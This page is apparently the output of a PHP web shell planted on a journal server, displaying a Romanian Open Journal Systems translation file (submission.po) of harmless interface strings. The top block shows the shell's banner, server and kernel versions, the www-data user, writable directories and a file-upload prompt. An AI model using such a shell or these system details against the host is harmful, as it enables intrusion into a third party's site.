KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/ro_RO/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/ro_RO/submission.po
msgid ""
msgstr ""
"PO-Revision-Date: 2020-08-25 18:40+0000\n"
"Last-Translator: Mihai-Leonard Duduman <[email protected]>\n"
"Language-Team: Romanian <http://translate.pkp.sfu.ca/projects/ojs/submission/"
"ro_RO/>\n"
"Language: ro_RO\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=n==1 ? 0 : (n==0 || (n%100 > 0 && n%100 < "
"20)) ? 1 : 2;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "publication.selectIssue"
msgstr "Selectați un număr pentru publicare"

msgid "publication.scheduleInissue"
msgstr "Atribuire la număr"

msgid "publication.unscheduledIn"
msgstr "Acest articol nu a fost încă alocat unui număr de revistă."

msgid "publication.scheduledIn"
msgstr "Programat spre publicare în <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.publishedIn"
msgstr "Publicat în <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.required.issue"
msgstr ""
"Publicația trebuie să fie atribuită unui număr înainte de a putea fi "
"publicată."

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr ""
"Toate cerințele de publicare au fost îndeplinite. Conținutul va fi publicată "
"imediat, deoarece data publicării a fost setată la {$datePublished}. Sigur "
"doriți să publicați acest conținut?"

msgid "publication.publish.confirmation.backIssue"
msgstr ""
"Toate cerințele de publicare au fost îndeplinite. Conținutul va fi publicat "
"imediat în  {$issue}. Sigur doriți să publicați acest conținut?"

msgid "publication.publish.confirmation.futureIssue"
msgstr ""
"Toate cerințele de publicare au fost îndeplinite. Conținutul va fi "
"disponibil când se publică {$issue}. Sigur doriți să programați acest lucru "
"pentru publicare?"

msgid "publication.publish.confirmation"
msgstr ""
"Toate cerințele de publicare au fost îndeplinite. Sigur doriți să publicați "
"acest conținut?"

msgid "publication.issue.success"
msgstr "Detaliile numărului publicat au fost actualizate."

msgid "publication.invalidIssue"
msgstr "Numărul pentru această publicație nu a fost găsit."

msgid "publication.invalidSection"
msgstr "Secțiunea pentru această publicație nu a putut fi găsită."

msgid "publication.datePublished.description"
msgstr ""
"Data publicării va fi setată automat la publicarea numărului. Nu introduceți "
"o dată de publicare, cu excepția cazului în care articolul a fost anterior "
"publicat."

msgid "galley.publicationNotFound"
msgstr "Publicarea pentru acest conținut nu a putut fi găsită."

msgid "galley.editPublishedDisabled"
msgstr ""
"Conținutul acestei publicații nu pot fi editat, deoarece a fost deja "
"publicat."

msgid "catalog.category.heading"
msgstr "Toate elementele"

msgid "catalog.browseTitles"
msgstr "Elemente {$numTitles} |"

msgid "submission.sectionOptions"
msgstr "Opțiuni secțiune"

msgid "section.any"
msgstr "Orice secțiune"

msgid "submission.metadataDescription"
msgstr ""
"Aceste specificații se bazează pe setul de metadate Dublin Core, un standard "
"internațional utilizat pentru a descrie conținutul jurnalului."

msgid "submission.citationFormat.notFound"
msgstr "Formatul de citare solicitat nu a putut fi preluat."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "Vă rugăm să selectați rolul contributorului."

msgid "submission.submit.form.wordCountAlert"
msgstr ""
"Rezumatul este prea lung. Vă rugăm să îl scurtați până la limita de cuvinte "
"indicată pentru această secțiune."

msgid "submission.submit.form.abstractRequired"
msgstr "Introduceți rezumatul manuscrisului."

msgid "submission.submit.form.titleRequired"
msgstr "Introduceți titlul manuscrisului."

msgid "submission.submit.form.authorRequiredFields"
msgstr ""
"Pentru fiecare autor sunt necesare prenumele, numele și adresa de email."

msgid "submission.submit.form.authorRequired"
msgstr "Este necesar cel puțin un autor."

msgid "submission.submit.contributorRole"
msgstr "Rolul contributorului"

msgid "submission.submit.privacyStatement"
msgstr "Declarație de confidențialitate"

msgid "submission.submit.submissionChecklistDescription"
msgstr ""
"Trebuie să citiți și să confirmați că ați îndeplinit cerințele de mai jos "
"înainte de a continua."

msgid "submission.submit.submissionChecklist"
msgstr "Lista de verificare pentru înregistrarea manuscrisului"

msgid "submission.submit.form.localeRequired"
msgstr "Selectați limba folosită pentru înregistrare."

msgid "submission.incomplete"
msgstr "Așteptați decizia"

msgid "submission.complete"
msgstr "Aprobat"

msgid "submission.upload.fileContents"
msgstr "Componenta articolului"

msgid "submission.event.issueMetadataUpdated"
msgstr "Metadatele privind înregistrarea numărului au fost actualizate."

msgid "editor.submission.decision.sendExternalReview"
msgstr "Trimite pentru revizie"

msgid "workflow.review.externalReview"
msgstr "Revizie"

msgid "submission.confirmSubmit"
msgstr ""
"Sunteți sigur ca doriți sa înregistrați manuscrisul pentru această revistă?"

msgid "submission.pageProofs"
msgstr "Corectare"

msgid "submission.submit.upload.description"
msgstr ""
"Încărcare fișiere asociate cu înregistrarea (manuscrisul, imagini, seturi de "
"date, etc.)."

msgid "submission.submit.titleAndSummary"
msgstr "Titlu și Rezumat"

msgid "grid.action.pageProofApproved"
msgstr "Această corectură a fost aprobată pentru a fi inclusă în conținut."

msgid "grid.action.approveProof"
msgstr "Aprobați această corectură pentru includerea în conținut."

msgid "submission.proofReadingDescription"
msgstr ""
"Editorul de machete încarcă aici fișierele pregătite pentru producția "
"publicației. Folosiți <em> Alocare Auditor </em> pentru a desemna autori și "
"alți corectori pentru a corecta conținutul, cu fișiere corectate încărcate "
"pentru aprobare înainte de publicare."

msgid "submission.galleyFiles"
msgstr "Fișiere conținut"

msgid "grid.action.availableArticleGalley"
msgstr "Pune la dispoziție acest conținut"

msgid "grid.issueEntry.availableGalley.message"
msgstr "<p>Acest conținut <em>este disponibil</em> pentru cititori.</p>"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr ""
"<p>Acest conținut <em>nu va mai fi pus la dispoziția </em> cititorilor.</p>"

msgid "grid.issueEntry.availableGalley.title"
msgstr "Aprobarea formatului"

msgid "submission.event.publicIdentifiers"
msgstr "Identificatorii publici ai înregistrării au fost actualizați."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr "Conținutul articolului\"{$galleyFormatName}\" nu este disponibil."

msgid "submission.event.articleGalleyMadeAvailable"
msgstr ""
"Conținutul editat al articolului \"{$galleyFormatName}\" este disponibil."

msgid "grid.action.issueEntry"
msgstr "Vizualizare metadate înregistrare"

msgid "grid.action.galleyInIssueEntry"
msgstr "Conținutul apare la începutul numărului"

msgid "submission.submit.whatNext.description"
msgstr ""
"Jurnalul a fost notificat cu privire la înregistrarea dvs. și ați primit o "
"confirmare prin e-mail în acest sens. După ce editorul va examina "
"înregistrarea, reprezentanții revistei vă vor contacta."

msgid "submission.issueEntry"
msgstr "Metadate"

msgid "submission.submit.noContext"
msgstr "Jurnalul acestei înregistrări nu a fost găsit."

msgid "submission.abstract.wordCount.description"
msgstr "Rezumatul trebuie să conțină maxim {$wordCount} cuvinte."

msgid "grid.action.workflow"
msgstr "Fluxul de lucru pentru înregistrare"

msgid "submission.submit.newSubmissionSingle"
msgstr "Înregistrare nouă"

msgid "submission.submit.newSubmissionMultiple"
msgstr "Demarați o nouă înregistrare de manuscris în"

msgid "submission.title.tip"
msgstr ""
"De obicei, înregistrarea unui manuscris presupune folosirea unor tipuri de "
"fișiere 'image', 'text', sau alte tipuri de fișiere multimedia 'software' "
"sau 'interactive'.  Vă rugăm să alegeți cel mai relevant tip  pentru "
"înregistrarea dvs.  Exemple pot fi găsite la <a target=\"_blank\" href=\""
"http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type\""
">http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type</a>"

msgid "submission.title"
msgstr "Titlu manuscris"

msgid "submission.upload.selectComponent"
msgstr "Selectați componenta manuscrisului"

msgid "submission.submit.userGroupDescription"
msgstr "Alegeți calitatea în care trimiteți acest manuscris."

msgid "submission.submit.userGroup"
msgstr "Trimit manuscrisul în calitate de ..."

msgid "submission.submit.title"
msgstr "Înregistrare manuscrise"

KUNTUL | JINGKONTOT |